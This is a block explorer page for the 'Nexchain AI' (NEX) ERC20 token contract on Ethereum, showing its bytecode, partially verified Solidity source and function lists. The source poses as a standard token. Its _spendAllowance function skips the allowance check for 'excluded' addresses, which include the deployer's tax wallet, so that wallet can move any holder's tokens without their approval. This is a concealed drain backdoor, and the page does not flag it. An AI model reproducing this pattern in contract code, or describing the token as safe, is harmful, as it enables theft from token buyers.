Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xEcA583fa030780C1a73B32e76b1c62595571c472
Balance 0 ETH
Nonce 1
Code Size 5416 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5416 bytes
0x6080604052600436106100dc575f3560e01c806370a082311161007c5780638da5cb5b116100575780638da5cb5b1461023e57806395d89b4114610264578063a9059cbb1461028f578063dd62ed3e146102ae575f5ffd5b806370a08231146101e2578063715018a6146102165780638a8c523c1461022a575f5ffd5b806318160ddd116100b757806318160ddd1461017e57806320800a001461019257806323b872dd146101a8578063313ce567146101c7575f5ffd5b806306fdde03146100e7578063095ea7b31461012c57806316b441ba1461015b575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b5060408051808201909152600b81526a4e6578636861696e20414960a81b60208201525b6040516101239190611158565b60405180910390f35b348015610137575f5ffd5b5061014b6101463660046111a1565b6102f2565b6040519015158152602001610123565b348015610166575f5ffd5b50610170600c5481565b604051908152602001610123565b348015610189575f5ffd5b50610170610308565b34801561019d575f5ffd5b506101a6610328565b005b3480156101b3575f5ffd5b5061014b6101c23660046111cb565b610386565b3480156101d2575f5ffd5b5060405160098152602001610123565b3480156101ed575f5ffd5b506101706101fc366004611209565b6001600160a01b03165f9081526001602052604090205490565b348015610221575f5ffd5b506101a66103a9565b348015610235575f5ffd5b506101a661041a565b348015610249575f5ffd5b505f546040516001600160a01b039091168152602001610123565b34801561026f575f5ffd5b5060408051808201909152600381526209c8ab60eb1b6020820152610116565b34801561029a575f5ffd5b5061014b6102a93660046111a1565b6107c8565b3480156102b9575f5ffd5b506101706102c8366004611224565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102fe3384846107d4565b5060015b92915050565b5f6103156009600a611352565b610323906305f5e100611360565b905090565b5f546001600160a01b0316331461035a5760405162461bcd60e51b815260040161035190611377565b60405180910390fd5b60405133904780156108fc02915f818181858888f19350505050158015610383573d5f5f3e3d5ffd5b50565b5f336103938582856108f7565b61039e8585856109ad565b506001949350505050565b5f546001600160a01b031633146103d25760405162461bcd60e51b815260040161035190611377565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104435760405162461bcd60e51b815260040161035190611377565b600e54600160a01b900460ff161561049d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610351565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104eb9030906104d86009600a611352565b6104e6906305f5e100611360565b6107d4565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055f91906113ac565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105be573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e291906113ac565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561062c573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065091906113ac565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d7194730610697816001600160a01b03165f9081526001602052604090205490565b5f5f6106aa5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610710573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073591906113c7565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561078a573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ae91906113f2565b50600e805462ff00ff60a01b19166201000160a01b179055565b5f6102fe3384846109ad565b6001600160a01b0383166108365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610351565b6001600160a01b0382166108975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610351565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600260209081526040808320938616835292905220545f19811480159061094557506001600160a01b0383165f9081526003602052604090205460ff16155b156109a7578181101561099a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610351565b6109a784848484036107d4565b50505050565b6001600160a01b038316610a115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610351565b6001600160a01b038216610a735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610351565b5f8111610ad45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610351565b5f80546001600160a01b03858116911614801590610aff57505f546001600160a01b03848116911614155b15610c9357600b545f03610b3c57610b396064610b33600954600b5411610b2857600554610b2c565b6007545b8590610dd0565b90610e55565b90505b600e546001600160a01b038581169116148015610b675750600d546001600160a01b03848116911614155b8015610b8b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610bc257610bab6064610b33600954600b5411610b2857600554610b2c565b600b80549192505f610bbc83611411565b91905055505b600e546001600160a01b038481169116148015610be857506001600160a01b0384163014155b15610c1557610c126064610b33600a54600b5411610c0857600654610b2c565b6008548590610dd0565b90505b305f90815260016020526040902054600e54600160a81b900460ff16158015610c4b5750600e546001600160a01b038581169116145b8015610c605750600e54600160b01b900460ff165b15610c91578015610c8857610c88610c8384610c7e84600c54610e96565b610e96565b610eaa565b610c914761101a565b505b8015610d0b57305f90815260016020526040902054610cb29082611055565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d029085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610d2d90836110b3565b6001600160a01b0385165f90815260016020526040902055610d70610d5283836110b3565b6001600160a01b0385165f9081526001602052604090205490611055565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610db985856110b3565b60405190815260200160405180910390a350505050565b5f825f03610ddf57505f610302565b5f610dea8385611360565b905082610df78583611429565b14610e4e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610351565b9392505050565b5f610e4e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f4565b5f818311610ea45782610e4e565b50919050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ef057610ef0611448565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f47573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f6b91906113ac565b81600181518110610f7e57610f7e611448565b6001600160a01b039283166020918202929092010152600d54610fa491309116846107d4565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fdc9085905f9086903090429060040161145c565b5f604051808303815f87803b158015610ff3575f5ffd5b505af1158015611005573d5f5f3e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611051573d5f5f3e3d5ffd5b5050565b5f8061106183856114cc565b905083811015610e4e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610351565b5f610e4e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611129565b5f81836111145760405162461bcd60e51b81526004016103519190611158565b505f6111208486611429565b95945050505050565b5f818484111561114c5760405162461bcd60e51b81526004016103519190611158565b505f61112084866114df565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610383575f5ffd5b5f5f604083850312156111b2575f5ffd5b82356111bd8161118d565b946020939093013593505050565b5f5f5f606084860312156111dd575f5ffd5b83356111e88161118d565b925060208401356111f88161118d565b929592945050506040919091013590565b5f60208284031215611219575f5ffd5b8135610e4e8161118d565b5f5f60408385031215611235575f5ffd5b82356112408161118d565b915060208301356112508161118d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112aa5780850481111561128e5761128e61125b565b600184161561129c57908102905b60019390931c928002611273565b935093915050565b5f826112c057506001610302565b816112cc57505f610302565b81600181146112e257600281146112ec57611308565b6001915050610302565b60ff8411156112fd576112fd61125b565b50506001821b610302565b5060208310610133831016604e8410600b841016171561132b575081810a610302565b6113375f19848461126f565b805f190482111561134a5761134a61125b565b029392505050565b5f610e4e60ff8416836112b2565b80820281158282048414176103025761030261125b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156113bc575f5ffd5b8151610e4e8161118d565b5f5f5f606084860312156113d9575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611402575f5ffd5b81518015158114610e4e575f5ffd5b5f600182016114225761142261125b565b5060010190565b5f8261144357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156114ac5783516001600160a01b0316835260209384019390920191600101611485565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156103025761030261125b565b818103818111156103025761030261125b56fea264697066735822122061e1d39be01a9f89ce24a6764e08254e8cfd91288200fa2937e844b5b416d83564736f6c634300081c0033

Verified Source Code Partial Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: Yes (200 runs)
NEX.sol 308 lines
/*

Nexchain blockchain is the first entirely AI-built blockchain worldwide. It introduces a combination of decentralized security measures and technological developments of tomorrow.

https://www.nexchainai.pro/
https://x.com/nexchaineth
https://t.me/nexchaineth

*/

// SPDX-License-Identifier: MIT

address constant _deadAddr = address(0xdead);

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract NEX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcluded;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _reduceSellTaxAt=3;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"Nexchain AI";
    string private constant _symbol = unicode"NEX";
    uint256 public _maxSwapLimit= 1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxSize);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _balances[address(this)] = _tTotal;

        _taxWallet = payable(_msgSender());

        _isExcluded[owner()] = true;
        _isExcluded[address(this)] = true;
        _isExcluded[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(sender, spender, amount);
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcluded[to] ) {
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled ) {
                if(contractTokenBalance > 0)
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxSwapLimit)));
                    sendETHToFee(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max && !_isExcluded[spender]) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function rescueETH() external onlyOwner(){
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {}

}

Read Contract

_maxSwapLimit 0x16b441ba → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
rescueETH 0x20800a00
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address